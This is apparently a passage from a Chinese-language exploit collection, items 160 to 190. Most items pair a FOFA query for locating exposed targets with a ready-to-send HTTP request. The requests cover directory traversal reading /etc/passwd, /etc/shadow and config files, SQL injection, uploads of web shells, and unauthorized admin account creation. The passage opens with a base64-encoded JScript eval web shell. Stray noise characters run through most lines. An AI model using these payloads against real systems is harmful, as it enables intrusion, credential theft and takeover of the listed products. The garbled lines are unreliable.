2 J0 d. ]5 b6 z: ?8 T: q<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
$ y* h9 B6 ]4 n9 W  W</jobUpload>
</soap:Body>
</soap:Envelope>
1 j3 c6 u/ S4 g( Z5 I, F( j& x
/ J; h$ m6 L* G1 a$ r2 k
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
) f& x& C' R# e6 [2 @

0 u# {8 t1 A5 i160. Sonatype Nexus Repository 3目录遍历与文件读取
0 {: Z% v& u( s( ~# [% I# i' TCVE-2024-4956
( v, [% c6 f+ z8 D4 ]  JFOFA：title="Nexus Repository Manager"
. f1 D% b( y+ ^GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
4 T& R/ M: J9 z: a6 V  [Host: x.x.x.x
* _) c0 }' v2 |8 p1 f8 q7 C2 hUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
, r1 G, ]) O4 I& x& WAccept-Encoding: gzip

" Q* u, O. c) k- `+ T
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
: R1 w' [9 O7 D, ]" J9 ^- a第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
3 H4 {( B( i' l. I' XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
0 t' j4 Q: s# J) |, @2 t& hContent-Length: 445
6 c4 m1 T  M! z1 u3 lContent-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
( v8 N9 U) m4 o2 x6 |6 L<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
+ f% P/ S; E" n+ V: V<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
* ]$ K1 K5 a$ Z. S; _<fileName>../../../../dizxdell.aspx</fileName>
; S% S8 J( {2 [. x. z! m  B& q% w<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
: y. W* c8 O' V/ l</UploadResume>
</soap:Body>
</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
6 C0 U! [* p; ^! H3 ^* s3 w* O
  j6 j8 l; J" O3 V% C162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
5 f" i9 W- ~3 Y! U1 ]! U4 iFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
- U. \5 I* R) q2 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
. q; B/ ]& ]/ [8 o+ I! lContent-Length: 583
; r) L* n+ o' S% g5 ~9 _6 |Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
) Y$ X; i7 o5 Z) |Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
" I: B. u' F2 ~6 Q0 q" nContent-Type: application/octet-stream
7 z8 u7 }' n: N6 z
: a  c+ `: E+ P% h8 Q# \<% response.write("ujidwqfuuqjalgkvrpqy") %>
* ?# e* w  n1 Q' Y, X& S( s4 D0 S------WebKitFormBoundaryeegvclmyurlotuey
5 T  ~' w& F, q) kContent-Disposition: form-data; name="action"
0 O4 E) `+ a# S; Y* F- w4 J* I
upload
/ V- o7 e6 Y7 }' E  t. F4 X  X& \------WebKitFormBoundaryeegvclmyurlotuey
8 Z7 ^0 _$ G- Q( M2 tContent-Disposition: form-data; name="responderId"

% u: D( k" T* c' A% t9 kResourceNewResponder
' M+ s% |* V$ D* Q. y4 V------WebKitFormBoundaryeegvclmyurlotuey
8 r* M) ~; z7 C& J3 ZContent-Disposition: form-data; name="remotePath"
# k3 {. h& D, v" H, i. D
7 w' H$ M3 K+ u6 [; _" r  z: p/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

. ~; I. ~3 M6 v! {+ O' X, I+ F" q$ w
- V; _9 Q5 v( E0 Ahttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
; G7 ?2 x# R. B3 TFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
. N7 O. D9 A# H6 f6 sContent-Length: 293
* O! ?: b. g7 |9 @! p  L: NAccept: */*
: }1 T! J1 p  _5 r# iAccept-Encoding: gzip, deflate
6 r  G5 K0 i; H8 U) l, n+ J$ z0 KAccept-Language: zh-CN,zh;q=0.9
/ R' _& W! o3 S1 a9 U! y3 uContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

  l+ C/ \  x  c6 r' c1 J------iiqvnofupvhdyrcoqyuujyetjvqgocod
& @1 ]' ^8 G  Z6 J: EContent-Disposition: form-data; name="name"
1 T/ d  s. O, K- o  V& \
2 J' |. ?" i' S9 S1.php
# R1 m( S6 P2 z6 k& ^% e8 ^' A------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
' c2 O5 L# Z, y. s$ d
( ~5 w4 |7 _( M5 G# R
- M/ Z- b4 V6 C  L" r$ q4 [164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
5 l& X# B7 \5 F- m$ }# b$ BFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
8 s+ H* |4 }8 W$ t; l2 J5 A- NContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 ~( J, ?" O2 H5 u" ^' _, KX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
# l2 u0 x" S+ y" X* }/ }, pContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
+ \- t  G  d; NContent-Type: image/jpeg
2 l. p& J) n3 \
: W- V) C0 E( y$ a( G3 }7 f<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
# B+ X% |& G5 |0 `------dqdaieopnozbkapjacdbdthlvtlyl--

  I4 |7 ?8 \+ b) h- a
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

& N$ H, @- ^; Y9 m/ |165. OrangeHRM 3.3.3 SQL 注入
/ k7 P: k; i  N* P+ H- uCVE-2024-36428
% N3 K: Z9 b. t7 G8 m$ LFOFA: app="OrangeHRM-产品"
, i, D- x) B4 ^% E1 r% D4 lURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
9 u3 A; q! K- z3 L' kPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
: x: E: v; W1 B8 k: \, A: ]/ W* ?9 ZCache-Control: no-cache
Upgrade-Insecure-Requests: 1
# W/ Q) y7 z3 i) Z9 t, s9 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' S( {9 X6 W8 g- y: g" B2 Y2 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: A# X) v$ e. B0 n: iAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
; F  \2 r" Q9 PContent-Type: application/x-www-form-urlencoded
Content-Length: 89

* h/ Z, W* r" N, s; H- AMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
! Q" b9 F" {* M+ O. D

167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
' Q' M) W" I- ], Q9 r. nGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
3 [, o- h# Z, |0 @Connection: keep-alive

( T. z( w/ |; g! J: Q
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& g% A; M; |: t$ EConnection: close
1 t) N3 d7 I, s- x1 O

4 r6 B# m$ I$ l9 N
5 G  [' \2 G5 W0 [( ?, N  G169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
$ T, k6 x2 ]+ x! `& J( W( UHost: your-ip
2 p4 e& I( Z0 n3 U9 r6 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
' Q" r8 U. J* i: Q- YAccept-Encoding: gzip, deflate
; F: L( V' V4 U; J; tConnection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
3 g7 C- y+ y7 ]2 T6 f7 ZFOFA：body="/general/sys/hjaxmanage.js"
& h5 p% S* x+ Y3 YPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
9 o; t7 h, x1 D4 i1 yGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
- m0 P$ i7 _& t$ @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! e3 o: j/ U8 y2 P$ qConnection: close



172. DT-高清车牌识别摄像机任意文件读取
- t& V8 n. j4 r( WFOFA：app="DT-高清车牌识别摄像机"
  I2 {/ q8 I8 O9 b5 K7 i: }GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
) I8 w+ C3 b; t7 G4 L1 tAccept: */*
Connection: keep-alive


% Q- n1 @, j5 c( x; Y* g
173. Check Point 安全网关任意文件读取
- l; g# A/ {' c5 fCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
% A" K: q" P2 g7 v# G) F6 u
aCSHELL/../../../../../../../etc/shadow


- o" D. d$ v2 ?$ K2 n9 Z: l, I6 }
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
% e0 D1 O5 [! b* i  {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 j$ y, d) _# [Connection: close
4 ^$ P/ L  |& ^  }
4 |$ E% q! W; g( \3 \

2 i1 ^& g" h1 e/ Q$ c175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
2 |/ y( B2 X* |  Z$ g/ b8 E$ Q. [FOFA：app="金和网络-金和OA"
% O( R/ j  n. {1 t1 \1 O- NGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
0 K7 Q9 ^7 r; @Host:
' b7 v% @+ Y/ k- E5 h& oUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 f$ n  I+ R- {+ N( h$ T  N# N% XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* Q$ w5 H' p& G: |5 R0 c8 dAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
, B' ]8 i4 g+ ~. Z$ r
4 x: N$ ]5 \/ M& ~8 t: g9 R
176. 电信网关配置管理系统 rewrite.php 文件上传
& G3 \7 O( @* y, GFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
7 m# P$ _* @8 X/ C# r0 }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
4 ~2 r# r" M5 R8 L: D' i3 OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
" w4 M3 q( y. J+ }5 N# S4 {
------WebKitFormBoundaryOKldnDPT
9 m( ?2 b# `7 Z0 VContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
- S' k2 d7 T1 h& d$ N, k------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

2 U8 u2 ~% n' T8 q$ c
------WebKitFormBoundaryOKldnDPT--

6 R* V' ^- ~, R

177. H3C路由器敏感信息泄露
* g. R( Y( q4 ?3 Z+ `! V) s/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
' T* p# e) z8 y$ F% p- R* l/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
5 O6 o* G; T" t/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
; n/ @4 ]0 V  {7 q! u8 Y! q/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
& f2 \0 F% A4 c4 I- b& {0 N( f/userLogin.asp/../actionpolicy_status/../ER5200.cfg
" Y  T9 V6 g7 c/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
- C1 L! U. b( B" v% h/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

# y! n$ j7 l) w' k; L! f
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
1 f) u4 D0 R3 F1 a* t9 R& ZFOFA：header="/selfservice"
( W; {, z/ ?+ `; APOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
& R0 f9 S7 o' d  f1 ^& S& k" {Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
; L5 x" ]5 x# n) b8 a0 \# bContent-Length: 252
Accept-Encoding: gzip, deflate
2 z% N. l( A6 n$ E* v( G: {Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
9 z, C. @0 a3 M-----------------aqutkea7vvanpqy3rh2l
2 q: y" d( i5 W1 W0 mContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
5 N5 E7 z4 b1 P; k/ q3 NContent-Length: 255
0 _, f- D5 t/ {; v- ^8 b; ]
4 i9 i! @' s4 _/ Y' M- @% I12234
-----------------aqutkea7vvanpqy3rh2l--
5 X. p6 S3 Z, R, P. u4 t/ [

GET /imc/primepush/%2e%2e/flex/12234.txt

4 j: U. u% J) r9 a) D
2 F* k8 J, y' ^; a179. 建文工程管理系统存在任意文件读取
, `( d/ y7 X4 v/ w- mPOST /Common/DownLoad2.aspx HTTP/1.1
0 S( @8 `3 ]5 P+ m/ l3 jHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
  ]: F: U+ q( M( E7 v" t
path=../log4net.config&Name=
2 r7 o2 V: y2 K% j4 i/ H+ a

( M# ~4 g/ v, U0 D8 |5 D180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
8 V% b6 B6 Z1 E/ _0 \: p6 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" V5 k7 D( ]8 d( T  c! `7 vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

2 X7 I, z! [2 c" ^5 s
$ o& X3 @+ i# x181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
: B/ E1 `' h$ vFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
0 p6 n7 A# N" k. ~( Z: ]- f. z* vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
3 c0 }1 x" b- OAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
4 n0 V4 x; o/ E& r) A
  G& B& a1 b- C* C! H, \6 l- H
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
; e* }0 I& S0 }. |POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
2 g  w; V, X" V6 a& I! v5 }3 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 r: w' Y& ~' cAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

, S3 G: m: I+ B) y( n2 I+ k' v
+ Y0 P" B0 K6 ?username=test1234&pwd=test1234&savedays=1

; e, J1 Z$ T4 S9 r9 r! j' h
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
1 r0 I% ?5 d' }User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ _; N+ A5 o$ _7 V' O. t/ GAccept-Charset: utf-8
& l* ^0 F/ L! l8 U1 AAccept-Encoding: gzip, deflate
/ {) o7 A$ m' U$ ]  aConnection: close
- N* n) @% ?9 U3 H- @
; }1 R( h! r2 p
9 F, [4 f! @# O184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
4 m) M4 d! v0 j( nFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
6 W, {) f4 @* W6 ^: ]Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
, N' Z: a$ i* X" d+ ?( V0 i1 {Accept: application/xml, text/xml, */*; q=0.01
" s, u4 }% g8 C5 `  h$ kContent-Type: text/xml; charset=utf-8
! R& g+ u; X: r3 u. AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

0 E8 M5 |. M1 J0 F
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
: ~8 U" y2 C$ T) A3 o$ z  }: ^
3 G' J8 s5 ?7 Y
& ?. E8 A. B2 Y; _- ~185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
4 [3 A3 z* }  L; ]% i- pFOFA：app="REALOR-天翼应用虚拟化系统"
7 V4 h6 i+ I+ w) G, wGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
% D' b' [# X- h& pHost: host

$ P0 `* w! E1 J0 Z+ Z7 v
- a" S7 l2 r- p. e) `$ m" j  e  H) `186. F-logic DataCube3 SQL注入
CVE-2024-31750
: Z$ H/ F- h  W* l- V5 x  LF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
& O7 v7 [) Z9 p6 [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
' R, U. r- ?  k5 X, RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 F- G5 e0 A! \; _% y+ oAccept-Encoding: gzip, deflate
Connection: close
( R0 f6 {9 ?, Q) v3 ?  qContent-Type: application/x-www-form-urlencoded

# \" |2 u4 J! ~req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
0 {: {" |2 e( v! d  {
  e5 }8 c! S2 H. ^7 y! ?# E
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
, \6 N7 l: [1 m4 ZFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
: d: T! s% X' k) a+ [& ~( P+ WContent-Type: application/x-www-form-urlencoded

; {5 @7 I5 u9 E$ M
0 t) _# _9 R( C( aobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


- s- [8 W6 w# O* P$ m# d0 Q188. 叁体-佳会视频会议 attachment 任意文件读取
" Y2 ^$ [# m9 D3 [- a3 \0 Cversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
+ N+ A$ }. X* R. J$ `$ wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% ^( {  t6 C/ t; tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
6 h, x/ u, _! X3 h. ]9 d
3 a% u, f- Y, N# d9 ]" N* r
8 u& B# q0 I  k" {- u189. 蓝网科技临床浏览系统 deleteStudy SQL注入
2 `8 ^3 h' i9 aFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
) ~$ c8 Z3 |8 X0 P0 E5 S4 P: w0 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 U5 J7 J' T# X9 ~& X. ?Accept-Encoding: gzip, deflate
3 {, L- T; q% u1 A% q) t1 ~Accept-Language: zh-CN,zh;q=0.9
Connection: close
) K; ^! s& @  I. x1 ]

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
$ L7 J2 y5 k# [& Y6 T, t( c  N/ xFOFA：title=="短视频矩阵营销系统"
% e5 {- a3 y0 C% X1 Q$ L5 n* ^POST /index.php/admin/Userinfo/poihuoqu HTTP/2
; Z% f! Z8 k, i0 H3 T0 v; L* p7 zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
